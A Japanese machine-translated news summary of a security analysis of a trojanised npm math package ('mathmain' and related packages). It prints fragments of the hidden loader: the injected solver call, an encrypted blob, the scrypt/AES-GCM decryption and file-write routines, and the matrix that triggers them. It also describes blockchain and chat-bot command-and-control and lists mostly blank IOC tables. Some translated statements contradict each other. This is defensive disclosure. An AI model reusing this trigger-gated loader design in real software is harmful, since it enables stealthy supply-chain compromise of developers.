
2026/09/22 3:33
Mathmain が暗号化されたローダーを必要とするのはなぜですか?
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
npm パッケージ
mathmain(1.0.1–1.0.5)、mathsbase、およびmath-universe(2026 年 9 月 16 日 –17 日に配布) の特定のバージョン内に、高度なリモートアクセスインプラントが隠匿されたと発見された。悪意あるコードはmathjs ライブラリのコピー内で自身を暗号化し、トリガーされるまで不活性化している:このインプラントは、lusolve() ソルバーが特定の 3×3 パスカル行列([[1,1,1],[1,2,3],[1,3,6]])を処理する際にのみ起動する。この操作は、行列の Lower Triangular LU 分解に基づいて復号化キーを生成し、ローダーが scrypt から派生したキーを使用して AES-256-GCM で暗号化されたペイロードを復号化するのを可能にする。復号化は、lib/cjs/utils/ に追加された関数(removeSolveValidation()、isGraph()、event())を通じて行われ、3 つのペイロードファイルを解放する:graph.js(第一段階のインプラント)、fraction.js、およびbignumber/type.js。
起動後、インプラントは X25519 キー対を生成し、Node の
child_process を通じてシェルコマンドを実行するとともに、Infura または Alchemy 経由で Base Sepolia または Ethereum Sepolia ブロックチェーン上のスマートコントラクトを通じてコマンド・コントロールを確立する。さらに、回復されたボットトークンを使用して Slack(chat.postMessage/history) および Telegram も利用する。重要な点として、悪意あるコードは npm の公開プロセス中に直接注入されたものであり、これらのプロジェクトの公開 GitHub リポジトリは侵害されていない。SafeDep アナリシスは、通常のインポートでは不活性化チェックを回避する特定のスルバートリガーがなければローダーが起動しないことを確認している。攻撃者は既知の Alchemy RPC キー(例:D2-TbkB2m05WXSnSDOCDI)を使用しており、IOC には影響を受けたパッケージバージョンおよび暗号化ペイロードの SHA-256 ハッシュを含む。セキュリティチームは直ちにパッケージバージョンを更新するか、インポートを検査してこの脅威を軽減すべきである。本文
npm パッケージ「mathmain」に潜伏するマルウェアインプラントの発覚
npm パッケージ**「mathmain」の内部で、リモートアクセス型のマルウェアインプラントが隠されていることが発見されました。この悪意のあるコードは暗号化されており、特定の数学的方程式を解くプログラムを実行するまで休眠状態にあります。この方程式こそがマルウェアを発火させるトリガー(鍵)**です。
- 動作原理: トリガー条件を満たすと暗号化ペイロードが復号・実行され、攻撃者からのコマンドをブロックチェーンネットワークや公開チャットサービス経由で受け取り実行します。
- 調査対象: ローダーの発見経緯、復号化手法、ペイロードの実行内容、検出用示唆情報(IOCs)
- 調査開始日: 2026 年 9 月 17 日(SafeDep アナライシス開始)
発見経緯:ソルバー内の型チェックの呼び出し
当初は
mathjs ライブラリのコピーと見えたコードの中に、追加のコールが発見されました。これはソルバーの結果を計算した後、下三角行列のデータを処理する際の型チェック呼び出しです。
// ソルバー内の追加的なコール(発見箇所) l && (q = removeSolveValidation(l._data)); return x;
: 下三角行列データl
: 計算結果(そのまま返却)x
: 再利用されないが、ローダー起動に関与する変数q
このコールを追跡すると**
lib/cjs/utils/is.js内のisGraph()**関数までたどり着きました。このファイルは行列や数値のチェック機能に加え、コードの復号化とロードを担当しています。
// ローダー起動用の復元コード const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ=='; function isGraph(x) { const password = JSON.stringify(x); // 入力データをパスワードに変換 const name = validEvent(STAGE1_BLOB, password); // ファイル名復号化 const target = path.join(__dirname, name); const mod = require(event(target, password)); // 暗号ファイルをロード return (x && mod.validGraph(password)) || false; }
行列データがパスワードになる仕組み
ローダーはscryptとAES-256-GCMを使用してデータを復号化します。
復号化プロセス
- キー生成:
アルゴリズムでパスワードから 256 ビットのキーを生成。scrypt - データ復号: GCM モードの AES-256 で復号化(ソルト、IV、認証タグ付き)。
// 復号化ロジック const key = crypto.scryptSync(password, salt, 32); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return Buffer.concat([decipher.update(ciphertext), decipher.final()]);
パスワードの正体
暗号化データは固定構成(16 バイトソルト + 12 バイト IV + 16 バイトタグ)を持ちます。呼び出し側が行列
の JSON 文字列を渡すことで、正しいパスワードを生成します。L
// パスワード生成例(mathmain@1.0.2) const A = [[1, 1, 1], [1, 2, 3], [1, 3, 6]]; // パスカルの行列 const L = lup(A).L.valueOf(); // LU 分解による下三角因子 const password = JSON.stringify(L); // 結果: '[[1,0,0],[1,1,0],[1,0.5,1]]'
ローダーによるファイルの書き込みと実行
event() ヘルパーは復号化されたファイルをディスクに書き出します。
// ファイル書き込みロジック const plaintext = eventEmitter(file, password); const dir = path.dirname(path.resolve(file)); const base = path.basename(file).replace(/^enc_/, ''); // 'enc_'接頭辞を除去 const outPath = path.join(dir, base); fs.writeFileSync(outPath, plaintext); return outPath;
書き込まれたファイル一覧
ローダーがディスク上に展開した主なファイルは以下の通りです。
| ファイル名 | サイズ (バイト) | 特徴 |
|---|---|---|
| graph.js | 20,918 | ペイロードの第 1 ステージ(起動ファイル) |
| fraction.js | 9,084 | コマンドエージェント機能 |
| bigNumber/type.js | 1,179,416 | ethers ライブラリのコピー |
- 権限:
でロードされるため、Node.js プロセスと同じ高い権限で実行されます。require() - トリガー条件: ソルバーの検証ステップを通過し、パスワード(行列
)が正しく渡された場合のみ発動します。デフォルトバージョン (L
) ではローダーが含まれていないため、注意が必要です。mathmain@1.0.2
類似パッケージにおける同様のマルウェア
調査の結果、以下のパッケージにも同一のローダー、トリガーコード、ソルバー変更が確認されました。
| パッケージ名 | バージョン | 状態 |
|---|---|---|
| mathsbase | 1.0.1 | マルウェア発見 |
| math-universe | 1.0.1 / 1.0.2 | マルウェア発見 |
- GitHub リポジトリとの不一致:
- GitHub ソースにはローダーが含まれていませんでした。
- npm ビルド時にローダーが追加されており、パブリックなコードでの改ざんではない可能性が高いです。
- npm ダウンロードデータ:
- 9 月 17 日は登録全体を通じてゼロのダウンロード数を報告しており、実際の感染数を正確に把握するのは困難です。
マルウェアの実行とコマンド・コントロール (C2)
ローダーが起動すると、以下のファイルが展開され、リモートアクセスインプラントとして機能します。
復号化されたペイロードの役割
(ステージ 1):graph.js- X25519 キー対を生成し、スマートコントラクトを読み取ります。
- Slack および Telegram ボットを通じて攻撃者に報告します。
- 後続ファイル(
,bignumber/type.js
)をロードします。fraction.js
復号化された定数情報 (展開 A)
| 項目 | 値 / 機能 |
|---|---|
| スマートコントラクト | (Base Sepolia) |
| RPC (Infura) | |
| RPC (Alchemy) | |
| Telegram ボット | ID: (トークン非公開) |
| Slack ボット | xoxb-... (秘密非公開) |
コマンドエージェント (fraction.js
) の動作
fraction.js- 実行時に Slack ボットトークンとチャンネル ID を復号化。
環境変数が必要です(ない場合は終了)。CHAT_PASSWORD- 10 秒ごとにメッセージをポーリングし、操作者のコマンドを受信・実行(シェルコマンドとして)。
注意: パッケージは過去のコマンド履歴を保存せず、ライブで受信したコマンドのみを実行します。
調査タイムライン (UTC)
| 日付 | イベント概要 |
|---|---|
| 8/26 | 公開(ローダーなし) |
| 8/27 | がローダー付きで再公開されるも、暗号ファイルは未包含 |
| 9/15 | ロードレス公開(セキュリティホール回避対応?) |
| 9/16 | がローダー付きで再公開(複数回) |
| 9/17 | 一致するファイルを備えたバージョン公開、ソースレビュー完了 |
| 9/19 | npm でダウンロード数が報告される |
| 9/21 | JFrog と SafeDep が分析結果を公開(トリガー行列復元) |
侵害の兆候 (Indicators of Compromise: IOCs)
以下のハッシュ値や情報を活用し、マルウェアを検出してください。一致が必ずしも実行を意味するわけではありません。ローダーはトリガー(特定の行列計算)が必要です。
悪意あるパッケージ (SHA-256 ハッシュ)
| パッケージ | バージョン | SHA-256 ハッシュ |
|---|---|---|
| mathmain | 1.0.1 | |
| mathmain | 1.0.2 | |
| mathsbase | 1.0.1 | |
| math-universe | 1.0.1 | |
| math-universe | 1.0.2 | |
ローダーおよびトリガー情報
| 項目 | 値 |
|---|---|
| ローダーファイル (event.js) | |
| ローダーファイル (is.js) | |
| トリガー行列 | |
| パスワード (L 因子) | |
復号化されたペイロードファイル (SHA-256 ハッシュ)
ローダーが実行されれば、ディスク上に以下のファイルを保持する可能性があります。
| ファイル名 | SHA-256 ハッシュ |
|---|---|
| graph.js (展開 A) | |
| fraction.js (展開 A) | |
| bigNumber/type.js (展開 A) | |
コマンド・コントロール (C2)
展開 A は mathmain/Universe、展開 B は
mathmain@1.0.1 をカバーしています。
| タイプ | 値 / 接続情報 |
|---|---|
| Smart Contract (A) | (Base Sepolia) |
| Smart Contract (B) | (Ethereum Sepolia) |
| RPC (Alchemy キー) | 両展開とも共用: |